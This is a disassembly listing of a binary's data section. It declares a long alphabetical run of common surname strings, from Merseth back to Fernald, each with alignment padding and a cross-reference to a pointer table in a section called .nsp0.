aMerseth	db 'Merseth',0          ; DATA XREF: .nsp0:00434D68o
aMerminod	db 'Merminod',0         ; DATA XREF: .nsp0:00434D64o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: .nsp0:00434D60o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .nsp0:00434D5Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: .nsp0:00434D58o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .nsp0:00434D54o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: .nsp0:00434D50o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .nsp0:00434D4Co
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .nsp0:00434D48o
aMclaren	db 'Mclaren',0          ; DATA XREF: .nsp0:00434D44o
aMclane		db 'Mclane',0           ; DATA XREF: .nsp0:00434D40o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: .nsp0:00434D3Co
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .nsp0:00434D38o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: .nsp0:00434D34o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .nsp0:00434D30o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: .nsp0:00434D2Co
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: .nsp0:00434D28o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .nsp0:00434D24o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .nsp0:00434D20o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .nsp0:00434D1Co
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: .nsp0:00434D18o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .nsp0:00434D14o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: .nsp0:00434D10o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .nsp0:00434D0Co
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: .nsp0:00434D08o
aMay		db 'May',0              ; DATA XREF: .nsp0:00434D04o
aMauzy		db 'Mauzy',0            ; DATA XREF: .nsp0:00434D00o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: .nsp0:00434CFCo
aMatsukata	db 'Matsukata',0        ; DATA XREF: .nsp0:00434CF8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .nsp0:00434CF4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: .nsp0:00434CF0o
aMass		db 'Mass',0             ; DATA XREF: .nsp0:00434CECo
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .nsp0:00434CE8o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: .nsp0:00434CE4o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: .nsp0:00434CE0o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: .nsp0:00434CDCo
		align 4
aMarques	db 'Marques',0          ; DATA XREF: .nsp0:00434CD8o
aMargetts	db 'Margetts',0         ; DATA XREF: .nsp0:00434CD4o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .nsp0:00434CD0o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: .nsp0:00434CCCo
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .nsp0:00434CC8o
		align 4
aMarch		db 'March',0            ; DATA XREF: .nsp0:00434CC4o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: .nsp0:00434CC0o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: .nsp0:00434CBCo
aMandel		db 'Mandel',0           ; DATA XREF: .nsp0:00434CB8o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: .nsp0:00434CB4o
aMalova		db 'Malova',0           ; DATA XREF: .nsp0:00434CB0o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: .nsp0:00434CACo
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: .nsp0:00434CA8o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: .nsp0:00434CA4o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .nsp0:00434CA0o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: .nsp0:00434C9Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: .nsp0:00434C98o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: .nsp0:00434C94o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: .nsp0:00434C90o
aMacy		db 'Macy',0             ; DATA XREF: .nsp0:00434C8Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: .nsp0:00434C88o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .nsp0:00434C84o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: .nsp0:00434C80o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .nsp0:00434C7Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: .nsp0:00434C78o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .nsp0:00434C74o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: .nsp0:00434C70o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .nsp0:00434C6Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .nsp0:00434C68o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: .nsp0:00434C64o
aLuoma		db 'Luoma',0            ; DATA XREF: .nsp0:00434C60o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: .nsp0:00434C5Co
aLuecke		db 'Luecke',0           ; DATA XREF: .nsp0:00434C58o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: .nsp0:00434C54o
aLuciano	db 'Luciano',0          ; DATA XREF: .nsp0:00434C50o
aLucas		db 'Lucas',0            ; DATA XREF: .nsp0:00434C4Co
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: .nsp0:00434C48o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: .nsp0:00434C44o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .nsp0:00434C40o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .nsp0:00434C3Co
aLoss		db 'Loss',0             ; DATA XREF: .nsp0:00434C38o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .nsp0:00434C34o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: .nsp0:00434C30o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: .nsp0:00434C2Co
aLivolsi	db 'Livolsi',0          ; DATA XREF: .nsp0:00434C28o
aLivi		db 'Livi',0             ; DATA XREF: .nsp0:00434C24o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .nsp0:00434C20o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: .nsp0:00434C1Co
		align 10h
aLittle		db 'Little',0           ; DATA XREF: .nsp0:00434C18o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: .nsp0:00434C14o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .nsp0:00434C10o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: .nsp0:00434C0Co
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: .nsp0:00434C08o
aLine		db 'Line',0             ; DATA XREF: .nsp0:00434C04o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: .nsp0:00434C00o
		align 10h
aLinda_0	db 'Linda',0            ; DATA XREF: .nsp0:00434BFCo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: .nsp0:00434BF8o
aLim		db 'Lim',0              ; DATA XREF: .nsp0:00434BF4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .nsp0:00434BF0o
		align 10h
aLight_0	db 'Light',0            ; DATA XREF: .nsp0:00434BECo
		align 4
aLiem		db 'Liem',0             ; DATA XREF: .nsp0:00434BE8o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: .nsp0:00434BE4o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: .nsp0:00434BE0o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: .nsp0:00434BDCo
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: .nsp0:00434BD8o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .nsp0:00434BD4o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .nsp0:00434BD0o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .nsp0:00434BCCo
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .nsp0:00434BC8o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: .nsp0:00434BC4o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: .nsp0:00434BC0o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: .nsp0:00434BBCo
aLashley	db 'Lashley',0          ; DATA XREF: .nsp0:00434BB8o
aLaserna	db 'Laserna',0          ; DATA XREF: .nsp0:00434BB4o
aLanzit		db 'Lanzit',0           ; DATA XREF: .nsp0:00434BB0o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: .nsp0:00434BACo
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .nsp0:00434BA8o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .nsp0:00434BA4o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .nsp0:00434BA0o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: .nsp0:00434B9Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: .nsp0:00434B98o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: .nsp0:00434B94o
aLa		db 'La',0               ; DATA XREF: .nsp0:00434B90o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .nsp0:00434B8Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: .nsp0:00434B88o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: .nsp0:00434B84o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .nsp0:00434B80o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .nsp0:00434B7Co
aKroemer	db 'Kroemer',0          ; DATA XREF: .nsp0:00434B78o
aKraus		db 'Kraus',0            ; DATA XREF: .nsp0:00434B74o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: .nsp0:00434B70o
aKrailo		db 'Krailo',0           ; DATA XREF: .nsp0:00434B6Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: .nsp0:00434B68o
aKovaks		db 'Kovaks',0           ; DATA XREF: .nsp0:00434B64o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: .nsp0:00434B60o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: .nsp0:00434B5Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: .nsp0:00434B58o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .nsp0:00434B54o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .nsp0:00434B50o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: .nsp0:00434B4Co
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .nsp0:00434B48o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .nsp0:00434B44o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: .nsp0:00434B40o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .nsp0:00434B3Co
aKnuff		db 'Knuff',0            ; DATA XREF: .nsp0:00434B38o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: .nsp0:00434B34o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .nsp0:00434B30o
aKling		db 'Kling',0            ; DATA XREF: .nsp0:00434B2Co
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: .nsp0:00434B28o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .nsp0:00434B24o
aKleiman	db 'Kleiman',0          ; DATA XREF: .nsp0:00434B20o
aKleckner	db 'Kleckner',0         ; DATA XREF: .nsp0:00434B1Co
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: .nsp0:00434B18o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: .nsp0:00434B14o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .nsp0:00434B10o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: .nsp0:00434B0Co
aKindall	db 'Kindall',0          ; DATA XREF: .nsp0:00434B08o
aKimura		db 'Kimura',0           ; DATA XREF: .nsp0:00434B04o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: .nsp0:00434B00o
aKimmel		db 'Kimmel',0           ; DATA XREF: .nsp0:00434AFCo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: .nsp0:00434AF8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: .nsp0:00434AF4o
		align 10h
aKerry_0	db 'Kerry',0            ; DATA XREF: .nsp0:00434AF0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: .nsp0:00434AECo
aKemsley	db 'Kemsley',0          ; DATA XREF: .nsp0:00434AE8o
aKempton	db 'Kempton',0          ; DATA XREF: .nsp0:00434AE4o
aKelsey		db 'Kelsey',0           ; DATA XREF: .nsp0:00434AE0o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: .nsp0:00434ADCo
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: .nsp0:00434AD8o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: .nsp0:00434AD4o
aKeenan		db 'Keenan',0           ; DATA XREF: .nsp0:00434AD0o
		align 4
aKee		db 'Kee',0              ; DATA XREF: .nsp0:00434ACCo
aKawachi	db 'Kawachi',0          ; DATA XREF: .nsp0:00434AC8o
aKasten		db 'Kasten',0           ; DATA XREF: .nsp0:00434AC4o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .nsp0:00434AC0o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .nsp0:00434ABCo
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .nsp0:00434AB8o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .nsp0:00434AB4o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .nsp0:00434AB0o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .nsp0:00434AACo
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: .nsp0:00434AA8o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: .nsp0:00434AA4o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .nsp0:00434AA0o
aKafadar	db 'Kafadar',0          ; DATA XREF: .nsp0:00434A9Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .nsp0:00434A98o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: .nsp0:00434A94o
aJulious	db 'Julious',0          ; DATA XREF: .nsp0:00434A90o
aJuliano	db 'Juliano',0          ; DATA XREF: .nsp0:00434A8Co
aJucks		db 'Jucks',0            ; DATA XREF: .nsp0:00434A88o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .nsp0:00434A84o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: .nsp0:00434A80o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: .nsp0:00434A7Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: .nsp0:00434A78o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .nsp0:00434A74o
aJewett		db 'Jewett',0           ; DATA XREF: .nsp0:00434A70o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: .nsp0:00434A6Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .nsp0:00434A68o
aJellis		db 'Jellis',0           ; DATA XREF: .nsp0:00434A64o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: .nsp0:00434A60o
aJay		db 'Jay',0              ; DATA XREF: .nsp0:00434A5Co
aJarrell	db 'Jarrell',0          ; DATA XREF: .nsp0:00434A58o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .nsp0:00434A54o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .nsp0:00434A50o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: .nsp0:00434A4Co
		align 4
aJain		db 'Jain',0             ; DATA XREF: .nsp0:00434A48o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: .nsp0:00434A44o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: .nsp0:00434A40o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: .nsp0:00434A3Co
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: .nsp0:00434A38o
aJacenko	db 'Jacenko',0          ; DATA XREF: .nsp0:00434A34o
aIyer		db 'Iyer',0             ; DATA XREF: .nsp0:00434A30o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: .nsp0:00434A2Co
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .nsp0:00434A28o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .nsp0:00434A24o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: .nsp0:00434A20o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: .nsp0:00434A1Co
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: .nsp0:00434A18o
aIgarashi	db 'Igarashi',0         ; DATA XREF: .nsp0:00434A14o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .nsp0:00434A10o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .nsp0:00434A0Co
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .nsp0:00434A08o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .nsp0:00434A04o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .nsp0:00434A00o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .nsp0:004349FCo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .nsp0:004349F8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: .nsp0:004349F4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .nsp0:004349F0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: .nsp0:004349ECo
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: .nsp0:004349E8o
aHoward		db 'Howard',0           ; DATA XREF: .nsp0:004349E4o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: .nsp0:004349E0o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: .nsp0:004349DCo
aHoshida	db 'Hoshida',0          ; DATA XREF: .nsp0:004349D8o
aHorsley	db 'Horsley',0          ; DATA XREF: .nsp0:004349D4o
aHopkins	db 'Hopkins',0          ; DATA XREF: .nsp0:004349D0o
aHooker_0	db 'Hooker',0           ; DATA XREF: .nsp0:004349CCo
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .nsp0:004349C8o
aHolway		db 'Holway',0           ; DATA XREF: .nsp0:004349C4o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: .nsp0:004349C0o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .nsp0:004349BCo
aHolmes		db 'Holmes',0           ; DATA XREF: .nsp0:004349B8o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .nsp0:004349B4o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: .nsp0:004349B0o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: .nsp0:004349ACo
aHoffer		db 'Hoffer',0           ; DATA XREF: .nsp0:004349A8o
		align 4
aHock		db 'Hock',0             ; DATA XREF: .nsp0:004349A4o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: .nsp0:004349A0o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .nsp0:0043499Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .nsp0:00434998o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .nsp0:00434994o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .nsp0:00434990o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: .nsp0:0043498Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: .nsp0:00434988o
aHester		db 'Hester',0           ; DATA XREF: .nsp0:00434984o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: .nsp0:00434980o
aHernandez	db 'Hernandez',0        ; DATA XREF: .nsp0:0043497Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .nsp0:00434978o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: .nsp0:00434974o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: .nsp0:00434970o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .nsp0:0043496Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .nsp0:00434968o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: .nsp0:00434964o
aHeiland	db 'Heiland',0          ; DATA XREF: .nsp0:00434960o
aHeft		db 'Heft',0             ; DATA XREF: .nsp0:0043495Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: .nsp0:00434958o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .nsp0:00434954o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: .nsp0:00434950o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: .nsp0:0043494Co
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: .nsp0:00434948o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: .nsp0:00434944o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .nsp0:00434940o
aHartnett	db 'Hartnett',0         ; DATA XREF: .nsp0:0043493Co
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: .nsp0:00434938o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .nsp0:00434934o
aHarrigan	db 'Harrigan',0         ; DATA XREF: .nsp0:00434930o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: .nsp0:0043492Co
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: .nsp0:00434928o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: .nsp0:00434924o
aHanssen	db 'Hanssen',0          ; DATA XREF: .nsp0:00434920o
aHand		db 'Hand',0             ; DATA XREF: .nsp0:0043491Co
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .nsp0:00434918o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: .nsp0:00434914o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .nsp0:00434910o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: .nsp0:0043490Co
aHallowell	db 'Hallowell',0        ; DATA XREF: .nsp0:00434908o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .nsp0:00434904o
aHaley		db 'Haley',0            ; DATA XREF: .nsp0:00434900o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .nsp0:004348FCo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: .nsp0:004348F8o
aHaar		db 'Haar',0             ; DATA XREF: .nsp0:004348F4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: .nsp0:004348F0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .nsp0:004348ECo
aGunn		db 'Gunn',0             ; DATA XREF: .nsp0:004348E8o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: .nsp0:004348E4o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .nsp0:004348E0o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .nsp0:004348DCo
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .nsp0:004348D8o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .nsp0:004348D4o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .nsp0:004348D0o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .nsp0:004348CCo
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: .nsp0:004348C8o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: .nsp0:004348C4o
aGozzi		db 'Gozzi',0            ; DATA XREF: .nsp0:004348C0o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: .nsp0:004348BCo
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: .nsp0:004348B8o
		align 4
aGood_0		db 'Good',0             ; DATA XREF: .nsp0:004348B4o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .nsp0:004348B0o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .nsp0:004348ACo
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .nsp0:004348A8o
aGlegg		db 'Glegg',0            ; DATA XREF: .nsp0:004348A4o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .nsp0:004348A0o
aGist		db 'Gist',0             ; DATA XREF: .nsp0:0043489Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .nsp0:00434898o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: .nsp0:00434894o
		align 4
aGili		db 'Gili',0             ; DATA XREF: .nsp0:00434890o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: .nsp0:0043488Co
aGibson_0	db 'Gibson',0           ; DATA XREF: .nsp0:00434888o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: .nsp0:00434884o
aGhorai		db 'Ghorai',0           ; DATA XREF: .nsp0:00434880o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: .nsp0:0043487Co
aGeorgi		db 'Georgi',0           ; DATA XREF: .nsp0:00434878o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: .nsp0:00434874o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: .nsp0:00434870o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .nsp0:0043486Co
aGarman		db 'Garman',0           ; DATA XREF: .nsp0:00434868o
		align 4
aGarfield_0	db 'Garfield',0         ; DATA XREF: .nsp0:00434864o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: .nsp0:00434860o
aGalwey		db 'Galwey',0           ; DATA XREF: .nsp0:0043485Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: .nsp0:00434858o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .nsp0:00434854o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .nsp0:00434850o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .nsp0:0043484Co
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .nsp0:00434848o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .nsp0:00434844o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .nsp0:00434840o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: .nsp0:0043483Co
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: .nsp0:00434838o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: .nsp0:00434834o
aFrisken	db 'Frisken',0          ; DATA XREF: .nsp0:00434830o
aFriedland	db 'Friedland',0        ; DATA XREF: .nsp0:0043482Co
		align 4
aFried		db 'Fried',0            ; DATA XREF: .nsp0:00434828o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: .nsp0:00434824o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .nsp0:00434820o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .nsp0:0043481Co
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .nsp0:00434818o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .nsp0:00434814o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .nsp0:00434810o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: .nsp0:0043480Co
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: .nsp0:00434808o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: .nsp0:00434804o
aFortes		db 'Fortes',0           ; DATA XREF: .nsp0:00434800o
		align 4
aForester	db 'Forester',0         ; DATA XREF: .nsp0:004347FCo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .nsp0:004347F8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .nsp0:004347F4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: .nsp0:004347F0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .nsp0:004347ECo
aFisk		db 'Fisk',0             ; DATA XREF: .nsp0:004347E8o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: .nsp0:004347E4o
aFinnegan	db 'Finnegan',0         ; DATA XREF: .nsp0:004347E0o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .nsp0:004347DCo
aFink		db 'Fink',0             ; DATA XREF: .nsp0:004347D8o
		align 4
aField_0	db 'Field',0            ; DATA XREF: .nsp0:004347D4o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: .nsp0:004347D0o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: .nsp0:004347CCo
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: .nsp0:004347C8o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .nsp0:004347C4o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: .nsp0:004347C0o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: .nsp0:004347BCo
